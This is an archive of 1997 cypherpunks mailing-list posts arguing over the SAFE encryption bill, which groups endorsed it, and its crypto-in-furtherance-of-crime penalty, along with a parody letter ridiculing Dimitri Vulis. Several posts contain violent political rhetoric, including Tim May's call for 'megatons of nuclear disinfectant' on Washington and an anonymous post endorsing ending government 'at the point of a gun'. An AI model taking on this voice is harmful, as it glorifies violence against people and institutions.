> Can you consider, perhaps, for a second, that critics of SAFE are being
> unreasonable?  I would think so, as critics of SAFE include the Clinton
> Administration.  Is that the kind of company that cypherpunks keep?
> 
> Here's a great excerpt from the Internet Privacy Coalition letter:
> 
>   The pending bill provides a positive framework for the reforms that are
>   long overdue in this critical area. It makes clear that the sale or use
> of
>   encryption, a vital technique to promote network security and individual
>   privacy, should not be restricted in the United States. This is the view
>   widely shared by users of the Internet and the computer and communications
>   industry. It was also a central recommendation of the
>   report of the National Research Council last year.
> 
> Looks like widespread support from people who study this issue for living.
> I'm glad to be counted among them.
> 
> -S
> 
> -Shabbir
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 3 May 1997 00:07:29 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Rejecting Dialog with Government Vermin
In-Reply-To: <199705020738.AAA02377@mail.pacifier.com>
Message-ID: <19970502085056.16118@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 02, 1997 at 12:34:19AM -0800, Jim Bell wrote:
> At 22:43 5/01/97 -0700, Kent Crispin wrote:
>>On Wed, Apr 30, 1997 at 08:24:27PM -0800, Jim Bell wrote:
>>> I feel confident that a statistical analysis of various countries'
>>> governments would reveal a wide scatter in the relationship between
>>> population and government size.  One of the main factors in this scatter is
>>> simply the amount that government has decided to butt into activities that
>>> could (and should) be privatized.   Another is the amount that the
>>> government steals from one group in order to reliably receive the votes of
>>> some other group.
>>
>>> Population size would end up being a very poor determinant of government 
>>> size.  
>>
>>Yes, there would be scatter, but it is not important. 
> 
> The only reason "it is not important" is that this scatter is what
> demolishes your view of the world.

Jim, I made a two line off-the-cuff generalization about a case that 
*could* be argued -- a tiny, infinitesimal mote in my world view.  So 
don't go overboard with the hyperbole, OK?

Remember that since my world view includes numbers, Godel's theorem
requires that it is incomplete or inconsistent, as is yours. 
Regardless of how our world views may change, they will continue to
include numbers, and so will remain inconsistent or incomplete.  And
incompleteness and inconsistency are global properties of a system... 

> > Population size
> >is *obviously* a strong determinant of government size.
> 
> But probably not even close to the largest determinant.

It simply doesn't matter.  The important point is that governments
*are* much larger in much larger countries.  We are speaking in gross,
general terms here -- we haven't controlled for type of government,
whether the military is included -- a whole host of factors are left
as free variables, and yes, even modulo those variables, there is lots
of scatter.  But in 1800 there were about 5 million people in the US. 
Now there are close to 300 million. 

The basic point, really, is that organizational complexity grows 
with the size of the organization, at a greater than linear rate.  
This is because organizational complexity is a function of 
interactions between members of the organization, which is at least 
n-squared.  (However, when you consider that alliances form and can 
interact, the true complexity grows at a much faster rate.) 

(Another confounding factor is growth in complexity of technology and 
human knowledge.)


[...]
> 
> But NONE of this is truly needed.  I have a solution to that problem.

Jim, have you considered the interaction between religious beliefs and
AP? You apparently don't have direct knowledge of this, but after a
certain level of economic security has been reached economics becomes
a much less important as a motivator [Maslow].

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 3 May 1997 00:15:07 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: TWO Letters on SAFE
In-Reply-To: <v0300780aaf8fc2572aac@[204.91.138.22]>
Message-ID: <Pine.GSO.3.95.970502084700.12526B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks, Marc, for posting the URL for CDT's letter urging the House
subcommittee to approve SAFE without amendment. I was quoting from memory.

No, Shabbir, I don't think I owe anyone a "big fucking apology."

-Declan


On Fri, 2 May 1997, Marc Rotenberg wrote:

> 
> 
> Shabbir is a very good organizer and often very busy, which
> may explain the confusion about the TWO letters that were
> sent out regarding SAFE.
> 
> CDT sent a letter to Hon. Howard Conable, the chair of the
> Subcommittee, on April 24 which said that "CDT strongly urges
> you to report H.R. 695, the SAFE Act, out of the Courts
> and Intellectual Property Subcommittee without amendment."
> [The CDT letter is at
> http://www.cdt.org/crypto/legis_105/SAFE/970424_CDT_ltr.html]
> 
> EPIC helped coordinate a different letter for the Internet
> Privacy Coalition, which went to Rep. Goodlatte on April
> 28 and said
> 
>      While expressing our support for the measure, we wish
>      also to state our concern about one provision contained
>      in the bill. We believe that this provision, which would
>      create new criminal penalties for the use of encryption in
>      furtherance of a crime, could undermine the otherwise laudable
>      goals of the legislation. For the reasons set forth below, we
>      recommend that this provision be reconsidered when the Committee
>      considers the bill.
> 
> The IPC letter was signed by 26 privacy groups, user organizations,
> private companies, and trade associations. [The IPC letter is
> at http://www.privacy.org/ipc/safe_letter.html ]
> 
> 
> Marc Rotenberg
> EPIC.
> 
> 
> 
> 
> At 8:55 AM -0500 5/2/97, Shabbir J. Safdar wrote:
> >At 8:49 AM -0400 5/2/97, Declan McCullagh wrote:
> >>Two quick points:
> >>
> >>* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a
> >>letter to the House subcommittee on April 29 urging that SAFE be approved
> >>without any changes? (I'm in Oklahoma right now and I have a copy of that
> >>letter in my office in DC, but that's what I remember.)
> >
> >Declan, I can't believe you did your research so poorly.  Go look at the
> >Internet Privacy Coalition letter at
> >http://www.privacy.org/ipc/safe_letter.html or go to the crypto.com SAFE
> >bill page at http://www.crypto.com/safe_bill/ and read the pointer from
> >there.
> >
> >You'll see that CDT signed the very same letter that EPIC, ACLU, EFF, ATR,
> >Eagle Forum, VTW, and PGP all signed.
> >
> >Since you've been laboring under this mistaken impression, you owe somebody
> >at CDT a big fucking apology.
> >
> >-S
> >
> >>
> >>
> >>On Thu, 1 May 1997, Shabbir J. Safdar wrote:
> >>
> >>> The Administration hates this bill, because it threatens their ability to
> >>> roll out Key Recovery.  They've said as much in the letter Declan
> >>>forwarded:
> >>>
> >>>    "The bill could be read as prohibiting the United States government
> >>>     from using appropriate incentives to support a key management
> >>>     infrastructure and KEY RECOVERY." [emphasis added]
> >>>
> >>> Do you think that if this bill helped the Administration, that they'd be
> >>> out there urging the subcommittee chairman to stop it?  I think not.
> >>>
> >>> I'm also puzzled by the fact that CDT is being criticized pretty much
> >>> solely, even though the entire Internet Privacy Coalition, and several
> >>> other groups all wrote a letter of support of the bill with only a
> >>> criticism of one provision.  However the overall statement was of support.
> >>> (see http://www.privacy.org/ipc/safe_letter.html)
> >>>
> >>> As far as I can tell, everyone criticizing the bill either thinks that:
> >>>
> >>> 	a) CDT actually runs all these groups behind the scenes, or
> >>> 	b) pretty much all of the Internet advocates believe that this bill
> >>>            is needed and are doing the best they can with what Congress has
> >>>            written.
> >>>
> >>> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax
> >>> Reform, the Association for Computing Machinery, Computer Professionals for
> >>> Social Responsiblity, Eagle Forum, the National Association for Criminal
> >>> Defense Lawyers, and PGP Inc all signed this letter.
> >>>
> >>> Can you consider, perhaps, for a second, that critics of SAFE are being
> >>> unreasonable?  I would think so, as critics of SAFE include the Clinton
> >>> Administration.  Is that the kind of company that cypherpunks keep?
> >>>
> >>> Here's a great excerpt from the Internet Privacy Coalition letter:
> >>>
> >>>   The pending bill provides a positive framework for the reforms that are
> >>>   long overdue in this critical area. It makes clear that the sale or use
> >>> of
> >>>   encryption, a vital technique to promote network security and individual
> >>>   privacy, should not be restricted in the United States. This is the view
> >>>   widely shared by users of the Internet and the computer and
> >>>communications
> >>>   industry. It was also a central recommendation of the
> >>>   report of the National Research Council last year.
> >>>
> >>> Looks like widespread support from people who study this issue for living.
> >>> I'm glad to be counted among them.
> >>>
> >>> -S
> >>>
> >>> -Shabbir
> >>>
> >>>
> 
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 2 May 1997 18:17:29 +0800
To: abd@cdt.org
Subject: Re: SAFE Bill discussion
In-Reply-To: <v0300782faf8eae00618f@[166.84.253.73]>
Message-ID: <199705020752.IAA00794@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Shabbir Safdar <shabbir@vtw.org> writes:
> The Administration hates this bill, because it threatens their ability to
> roll out Key Recovery.  They've said as much in the letter Declan forwarded:
> 
> Do you think that if this bill helped the Administration, that they'd be
> out there urging the subcommittee chairman to stop it?  I think not.
> [...]
> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax
> Reform, the Association for Computing Machinery, Computer Professionals for
> Social Responsiblity, Eagle Forum, the National Association for Criminal
> Defense Lawyers, and PGP Inc all signed this letter.
> 
> Can you consider, perhaps, for a second, that critics of SAFE are being
> unreasonable?  I would think so, as critics of SAFE include the Clinton
> Administration.  Is that the kind of company that cypherpunks keep?

Those arguing in favour the SAFE bill claim it will make encryption
freely exportable.  They also claim that as a result of this we will
see encryption in mass market software.  Both are clearly attractive.

The SAFE bill also makes it a crime to use crypto in furtherance of a
crime (sentence += 5 years?).

The two in combination are problematic:

If microsoft products mostly include crypto which is turned on by
default, then everyone is using crypto.  So if one is unlucky enough
to be singled out for government harrassment for whatever "crime",
it's just a blanket law which allows the sentence to be increased by 5
years for nearly everyone in a few years.

In 10 to 20 years time your car, your mobile phone, your television,
your telephone, your brief-case, probably your toaster will have
crypto in it (your mobile phone and sat decoder already do).

Adding criminalization of use in furtherance of a crime is STUPID.
Mobile phones are a good example, they include crypto (at least GSM
does, even if it is naff, and only the link to the base station).  Say
the government designates you as a "criminal", and you use a mobile
phone, surely this is using crypto to further a crime?  It will make
it more difficult for the Feds to tap your line, right?  Especially if
you are using stolen phone ID cards.  Mobile phones are getting
cheaper, and more widespread.

It's similar to imposing restrictions on other technologies in their
early stages, say:

  "use of automobiles in furtherance of a crime will add 5 years to your
   sentence."

  "use of the new telephone service will add 5 years to your sentence"

I hope that the coalition of lobbying groups are not supporting SAFE
if this criminalization clause is there.

If you're going to support it at all, support it on the CONDITION that
this is removed.

However, messing with politicians is a dangerous hobby, read the fine
print real carefully, or you may very well actually be unwittingly
helping the enemy.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 3 May 1997 00:23:37 +0800
To: cypherpunks@toad.com
Subject: A Letter from the Smithsonian
Message-ID: <199705021552.IAA02491@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Dr. Dimitri Vulis, 
 
Thank you for your latest submission to the Institute, labeled "211-D,
layer seven, next to the clothesline post. Hominid skull." We have  given
this specimen a careful and detailed examination, and regret to inform you
that we disagree with your theory that it represents "conclusive proof of
the presence of Early Man in Queens County two million years ago."
Rather, it appears that what you have found is the head of a Barbie doll,
of the variety one of our staff, who has small children, believes to be the
"Malibu Barbie". It is evident that you have given a great deal of thought
to the analysis of this specimen, and you may be quite certain that those
of us who are familiar with your prior work in the field were loathe to
come to contradiction with your findings. 
 
However, we do feel that there are a number of physical attributes of the
specimen which might have tipped you off to its modern origin: 
 
1. The material is molded plastic. Ancient hominid remains are  typically
     fossilized bone. 
 
2. The cranial capacity of the specimen is approximately 9 cubic
    centimeters, well below the threshold of even the earliest identified
    proto-hominids. 
 
3. The dentition pattern evident on the "skull" is more consistent with the
    common domesticated canine (dog) than it is with the "ravenous
    man-eating Pliocene clams" you speculate roamed the wetlands during
    that time. This latter finding is certainly one of the most intriguing
    hypotheses you have submitted in your history with this institution, but 
    the evidence seems to weigh rather heavily against it. 
 
Without going into too much detail, let us say that: 
 
A. The specimen looks like the head of a Barbie doll that a dog has
    chewed on. 
 
B. Clams don't have teeth. 
 
It is with feelings tinged with melancholy that we must deny your request 
to have the specimen carbon dated. This is partially due to the heavy load
our lab must bear in its normal operation, and partly due to carbon
dating's notorious inaccuracy in fossils of recent geologic record. To the
best of our knowledge, no Barbie dolls were produced prior to 1956
AD, and carbon dating is likely to produce wildly inaccurate results 
 
Sadly, we must also deny your request that we approach the National
Science Foundation's Phylogeny Department with the concept of assigning 
your specimen the scientific name "Australopithecus 
spiff-arino."

Speaking personally, I, for one, fought tenaciously for the acceptance of
your proposed taxonomy, but was ultimately voted down because the
species name you selected was hyphenated, and didn't really sound like it
might be Latin. 

However, we gladly accept your generous donation of this fascinating 
specimen to the museum. While it is undoubtedly not a hominid 
fossil,  it is, nonetheless, yet another riveting example of the great body 
of work you seem to accumulate here so effortlessly. You should know 
that our Director has reserved a special shelf in his own office for the 
display of the specimens you have previously submitted to the 
Institution, and the entire staff speculates daily on what you will happen 
upon next in your digs at the site you have discovered in your back yard. 
 
Dr. Vulis, we eagerly anticipate your trip to our nation's capital that you 
proposed in your last letter, and several of us are pressing the Director 
to pay for it.
 
We are particularly interested in hearing you expand on your theories
surrounding the "trans-positating fillifitation of ferrous ions in a                                                 
structural matrix" that makes the excellent juvenile Tyrannosaurus rex 
femur you recently discovered take on the deceptive appearance of a rusty 
9-mm Sears Craftsman automotive crescent wrench. 
 


Yours in Science, 
 
Harvey Rowe
Curator, Antiquities 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Fri, 2 May 1997 22:20:42 +0800
To: "Shabbir J. Safdar" <shabbir@vtw.org>
Subject: Re: SAFE Bill discussion
In-Reply-To: <v03007838af8f63b734a5@[166.84.253.73]>
Message-ID: <Pine.SOL.3.96.970502085921.19774F-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 2 May 1997, Shabbir J. Safdar wrote:
> 
> By attacking the supporters of the bill, you're attacking CDT, the ACLU,
> EPIC, VTW, EFF, Eagle Forum, Americans for Tax Reform, and PGP Inc.  You're
> saying that all the Internet advocates have turned against crypto?

Criticizing the bill is not the same thing as "attacking" its
supporters. Criticizing the arguments of those supporters in
favor of the bill, and questioning seeming inconsistencies
therein, is not the same thing as "attacking" those supporters.

Nor does such criticism imply an accusation that all, or
even some, of those supporters "have turned against crypto."

The illogical equlvalence you set up, however, does seem to
be characteristic of these supporters' arguments.:)
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Sat, 3 May 1997 12:42:12 +0800
To: cypherpunks@toad.com
Subject: Re: FCPUNX:Layoffs at PGP
Message-ID: <199705030418.VAA02520@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain


>  [arrow] PGP Pretty Good on Privacy of Layoff Details
>          by Kristi Coale
>
>          [...]
>
>
>          "Internet Fast-Forward is not as closely related to the tools we
>          develop for individuals for privacy," he said. And the fact that
>          Fast-Forward filters ads which are an "inimical part of some of
>          the emerging Web commerce models ... we don't want to hinder this
>          development."


I think this tells us everything we need to know about the management of PGP
inc.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 3 May 1997 00:35:10 +0800
To: "Shabbir J. Safdar" <gbroiles@netbox.com>
Subject: Re: SAFE Bill discussion
In-Reply-To: <3.0.1.32.19970502011449.027f8298@pop.sirius.com>
Message-ID: <v03007800af8fd297ea39@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:47 AM -0800 5/2/97, Shabbir J. Safdar wrote:
>Ah, so here is the source of all the conspiracy theories:
>
>At 1:14 AM -0700 5/2/97, Greg Broiles wrote:
>>At 09:12 PM 5/1/97 -0400, Shabbir J. Safdar wrote:
>>
>>>I'm also puzzled by the fact that CDT is being criticized pretty much
>>>solely, even though the entire Internet Privacy Coalition, and several
>>>other groups all wrote a letter of support of the bill with only a
>>>criticism of one provision.
>>
>>I think this is occurring for two reasons:
>>2.	It strikes me as unlikely that all of the groups mentioned really sat
>>down and hashed all of this out - my hunch is that one or two of the groups
>>wrote up an analysis and a proposed letter, and asked the other groups to
>>sign on. A likely suspect for the/a group who did the behind-the-scenes
>>work is CDT.

Well, no. As the person who apparently triggered this latest round of
SAFE-cracking, I'll comment on why I focussed on CDT:

* it was CDT who was issuing most of the alerts, the letters, and the
cheerleadings. (If EFF had any such messages, I didn't see them, nor did I
see such alerts from the other organizations you mentioned as being
supporters of SAFE.)

* the CDT press release was a convenient message to respond to.

* the CDT Web site is where I've been finding the text of these bills
(thanks, of course, and I mean that).

I don't worry about nonense about whether CDT pulls the strings, though in
one of my later messages I _did_ say I think CDT will carry the baggage of
SAFE the way EFF carried the baggage of Digital Telephony. People don't
forget who's out in front.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 2 May 1997 22:00:03 +0800
To: cypherpunks@toad.com
Subject: Re: counterTCM post
Message-ID: <199705021329.JAA23390@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Vladimir Z. Nuri, who is wasting our tax dollars,
if he is paid government stooge, and wasting his
own time, if he is not, wrote:

> I generally agree that our democratic system has degenerated over
> the decades, to the point of being scary and dangerous in places.

  And, in spite of this, you're going to suggest more of the 
"same old, same old" right?
 
> however, we can ask, why did it get to that point? I believe
> it is a failure of the citizens to maintain the
> authority over their congressmen and president.

  And every fairy tale has to include the words,
 
> once upon a time, citizens saw congress and the president as their
> servants. it led to a particular kind of ideology reflected in the
> policies of the country.
> 
> over time, people gradually gave away this authority. they saw the
> president and congress as having authority over citizens, instead of
> vice versa.

  A lot of people give away their televisions to burglars, and their
wallets to armed robbers.
  The person with the largest weapon has the most authority.
 
> TCM's idea of telling congress and the president to f*** off is actually,
> in my opinion, an extreme case of people giving away their authority.
> it is more of the same problem, not the solution. it is failing to
> address the root of the problem-- that the president and congress
> must be put in a subservient relationship to the desires of the citizens.

  So you're about to suggest following Tim McVeigh's example, only
at the White House, instead, right?

> one must uncreate the monster in the same ways it was created.

  Right. It began life at the point of a gun, and that's the way it
should end when the monster begans feeding on those who created it.
 
> I commend CDT and all other online groups for their organizational
> motives and drive, and condemn TCM for his pissing on them. what is he doing?

  Sounds like a good, old-fashioned cypherpunks pissing contest
to me. Better lay in extra beer.

> if something is broken, do you fix it, or abandon it? or shoot it? TCM is
> always advocating the latter two. it's not a solution, and he knows it,
> and everyone else here knows it too.

  This is wonderful! At last the cypherpunks have a leader who can 
speak for all of us.
  When does the New List Moderation begin? I'm going to have to lay
in a whole shitload of beer for this round.

PissMonger & his corporate schill pooch, Spudz





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 3 May 1997 00:46:12 +0800
To: "Shabbir J. Safdar" <shabbir@vtw.org>
Subject: Re: SAFE Bill discussion
Message-ID: <3.0.32.19970502093536.0074f364@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:47 AM 5/2/97 -0400, Shabbir J. Safdar wrote:
>By attacking the supporters of the bill, you're attacking CDT, the ACLU,
>EPIC, VTW, EFF, Eagle Forum, Americans for Tax Reform, and PGP Inc.  You're
>saying that all the Internet advocates have turned against crypto?
>
>I don't think so.  I think you're sense of perspective is out of whack.

I think the members of the privacy coalition suffer from the EFF syndrome.
The same syndrome that got us Digital Telephony, because the EFF got
suckered into believing that it "was the best deal we could get". Yeah,
right. The government managed to sucker the EFF then. Now, they are
suckering the members of the "privacy" coalition into supporting a law that
will gain us *nothing* we don't already have while potentially putting
citizens away for five years for the most minor offenses.

SAFE must be either completely rewritten (unlikely) or defeated.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Fri, 2 May 1997 22:04:11 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: SAFE Bill discussion
In-Reply-To: <v0300782faf8eae00618f@[166.84.253.73]>
Message-ID: <v03007838af8f63b734a5@[166.84.253.73]>
MIME-Version: 1.0
Content-Type: text/plain


Ah, so here is the source of all the conspiracy theories:

At 1:14 AM -0700 5/2/97, Greg Broiles wrote:
>At 09:12 PM 5/1/97 -0400, Shabbir J. Safdar wrote:
>
>>I'm also puzzled by the fact that CDT is being criticized pretty much
>>solely, even though the entire Internet Privacy Coalition, and several
>>other groups all wrote a letter of support of the bill with only a
>>criticism of one provision.
>
>I think this is occurring for two reasons:
>2.	It strikes me as unlikely that all of the groups mentioned really sat
>down and hashed all of this out - my hunch is that one or two of the groups
>wrote up an analysis and a proposed letter, and asked the other groups to
>sign on. A likely suspect for the/a group who did the behind-the-scenes
>work is CDT.

The Internet Privacy Coalition letter, which said, (paraphrased) "we support
this bill but have concerns over the criminal provision" was coordinated by
EPIC, not CDT.  Hey, if you don't believe me, here's an excerpt from Audrie
Krause's NetAction notes (see http://www.netaction.org/)

  Earlier this week, EPIC staffers again sent out an E-mail alert, this time
  to members of the Internet Privacy Coalition requesting their signature on a
  letter to Rep. Robert Goodlatte (R-VA) [..]

  Again within a matter of days, EPIC was able to deliver a letter signed by
  25 organizations, including NetAction.  The letter is on the Web, at:
  <http://www.privacy.org/ipc/safe_letter.html>.

If you don't believe EPIC coordinated this letter, give Marc Rotenberg a
call at 202-544-9240. He's the one who called VTW to sign on, and when I
called him back to say thank you for distributing the letter, I asked him
to signon VTW.  Of course, the ACLU also signed the letter, saying they
support the bill but have concerns over the criminal provision.  You can
call them here in New York at 212-982-9800 (I think).  Barry signed the
letter, ask him.

By attacking the supporters of the bill, you're attacking CDT, the ACLU,
EPIC, VTW, EFF, Eagle Forum, Americans for Tax Reform, and PGP Inc.  You're
saying that all the Internet advocates have turned against crypto?

I don't think so.  I think you're sense of perspective is out of whack.

-S






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Fri, 2 May 1997 22:06:04 +0800
To: declan@well.com
Subject: Re: SAFE Bill discussion
In-Reply-To: <v0300782faf8eae00618f@[166.84.253.73]>
Message-ID: <v03007839af8f6a35bc42@[166.84.253.73]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:49 AM -0400 5/2/97, Declan McCullagh wrote:
>Two quick points:
>
>* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a
>letter to the House subcommittee on April 29 urging that SAFE be approved
>without any changes? (I'm in Oklahoma right now and I have a copy of that
>letter in my office in DC, but that's what I remember.)

Declan, I can't believe you did your research so poorly.  Go look at the
Internet Privacy Coalition letter at
http://www.privacy.org/ipc/safe_letter.html or go to the crypto.com SAFE
bill page at http://www.crypto.com/safe_bill/ and read the pointer from
there.

You'll see that CDT signed the very same letter that EPIC, ACLU, EFF, ATR,
Eagle Forum, VTW, and PGP all signed.

Since you've been laboring under this mistaken impression, you owe somebody
at CDT a big fucking apology.

-S

>
>
>On Thu, 1 May 1997, Shabbir J. Safdar wrote:
>
>> The Administration hates this bill, because it threatens their ability to
>> roll out Key Recovery.  They've said as much in the letter Declan forwarded:
>>
>>    "The bill could be read as prohibiting the United States government
>>     from using appropriate incentives to support a key management
>>     infrastructure and KEY RECOVERY." [emphasis added]
>>
>> Do you think that if this bill helped the Administration, that they'd be
>> out there urging the subcommittee chairman to stop it?  I think not.
>>
>> I'm also puzzled by the fact that CDT is being criticized pretty much
>> solely, even though the entire Internet Privacy Coalition, and several
>> other groups all wrote a letter of support of the bill with only a
>> criticism of one provision.  However the overall statement was of support.
>> (see http://www.privacy.org/ipc/safe_letter.html)
>>
>> As far as I can tell, everyone criticizing the bill either thinks that:
>>
>> 	a) CDT actually runs all these groups behind the scenes, or
>> 	b) pretty much all of the Internet advocates believe that this bill
>>            is needed and are doing the best they can with what Congress has
>>            written.
>>
>> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax
>> Reform, the Association for Computing Machinery, Computer Professionals for
>> Social Responsiblity, Eagle Forum, the National Association for Criminal
>> Defense Lawyers, and PGP Inc all signed this letter.
>>
>> Can you consider, perhaps, for a second, that critics of SAFE are being
>> unreasonable?  I would think so, as critics of SAFE include the Clinton
>> Administration.  Is that the kind of company that cypherpunks keep?
>>
>> Here's a great excerpt from the Internet Privacy Coalition letter:
>>
>>   The pending bill provides a positive framework for the reforms that are
>>   long overdue in this critical area. It makes clear that the sale or use
>> of
>>   encryption, a vital technique to promote network security and individual
>>   privacy, should not be restricted in the United States. This is the view
>>   widely shared by users of the Internet and the computer and communications
>>   industry. It was also a central recommendation of the
>>   report of the National Research Council last year.
>>
>> Looks like widespread support from people who study this issue for living.
>> I'm glad to be counted among them.
>>
>> -S
>>
>> -Shabbir
>>
>>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 3 May 1997 01:37:49 +0800
To: cypherpunks@cyberpass.net
Subject: The Virtues of Extremism
Message-ID: <v03007801af8fdde792a8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



It seems to me we're seeing an obvious manfestation of the classic "inside
the Beltway" mentality. The vocal SAFE suporters are so closely aligned
with the legislative process that they can't see the forest for the trees.

I won't even speculate too much about the dynamics of why this is so, but
it's been seen time and time again. Maybe it's that their vision becomes
tunnel vision, sort of like the way a pilot focusses on his altimeter,
tapping it and not quite believing it, as his plane crashes into the
ground. Maybe this is the only world they know, the world of lobbying.
Maybe they do truly believe it's "the best deal we can get."

Well, I am not inside the Beltway, and I don't think much of _anything_
Washington does. I refused to renew my membership in the National Rifle
Association when it became clear they were "playing the game," going along
with repressive, gun-grabbing legislation because "this is the best deal we
can get."

The NRA lost a lot of members with this stance, and saw gun ownership
rights eroded at every turn. The new leadership, elected after this fiasco,
pledged that no longer would they "work with" repressive legislation. We'll
see what happens. Meanwhile, as with the Cypherpunks movement, vastly more
radical steps are needed to sanction the gun grabbers like Swinestein and
her leftist allies.

(Hint: the more extremist organizations I now work with are probably one of
the areas I'm apparently committing putative felonies in. We don't treat
the gun laws as valid, and will defend our rights against any gun grabbers.
That we use PGP means we could easily face the maximum CDT-approved
sentence. As Marc Rotenberg reminded us, the CDT wrote: ""CDT strongly
urges you to report H.R. 695, the SAFE Act, out of the Courts and
Intellectual Property Subcommittee without amendment." Fuck Congress, and
fuck CDT.)

"Extremism in the defense of liberty is no vice."

Now more than ever Cypherpunks need to take action. If SAFE becomes law,
every single organization which supported it should be held accountable.
That means PGP, Inc., if indeed PGP, Inc. supports this repressive
legislation.

Perhaps we should think about sending letters, summarizing the points we've
been making here, to all of these organizations which signed the letter
supporting SAFE. Perhaps many of the organizations spent little time
thinking about the issues. Perhaps Roger Schlafly should speak to his
mother (head of the Eagle Forum, as I recall) about the chilling effects of
criminalizing crypto use when  any of the tens of thousands of Big
Brother-defined "prosecutable offenses" are allegedly committed.

Perhaps we should ask Phil Zimmermann why PGP, Inc. supports this. Or
perhaps he'll finally see the light when some of his anti-nuke friends are
charged with using his own product, PGP, in connection with their
"prosecutably offenses" at the Nevada Test Site! That would be ironic
indeed.

It's time we simply give up on Washington and its criminal actions.
Washington is a cancer than can only be cured with a few megatons of
nuclear disinfectant.

--Tim May, still a felon, and soon to be even more of a felon if he uses
crypto in support of his activities

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 3 May 1997 00:17:41 +0800
To: cypherpunks@toad.com
Subject: Re: SAFE Bill / Fuck You (an inch at a time)
In-Reply-To: <199705020430.VAA16643@fat.doobie.com>
Message-ID: <199705021545.KAA08767@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705020430.VAA16643@fat.doobie.com>, on 05/01/97 at 10:30 PM,
   nobody@huge.cajones.com (Huge Cajones Remailer) said:


>  We put up with crap from our government that we wouldn't accept from
>someone trying to sell us a mouthwash. The reason that we're not all
>drinking the "New Coke" is that D.C. has siphoned off all of the spin
>doctors/brainwashers from the corporate advertising industry.

Well there must be a few spin-doctors left as we are drinking "New Coke".
:)

The whole "New Coke/Orriginal Coke" was one of the best con jobs I have
ever seen. The Coca-Cola Company had a small problem, the cost of sugar.
It's compitition was using corn suryp as a sweetner in their products which
was much cheaper than the sugar Coca-Cola was using in theirs. 

Now how were they going to switch from sugar to corn suryp in Coke without
lossing a portion of their customers because of the change in taste? NEW
COKE!!

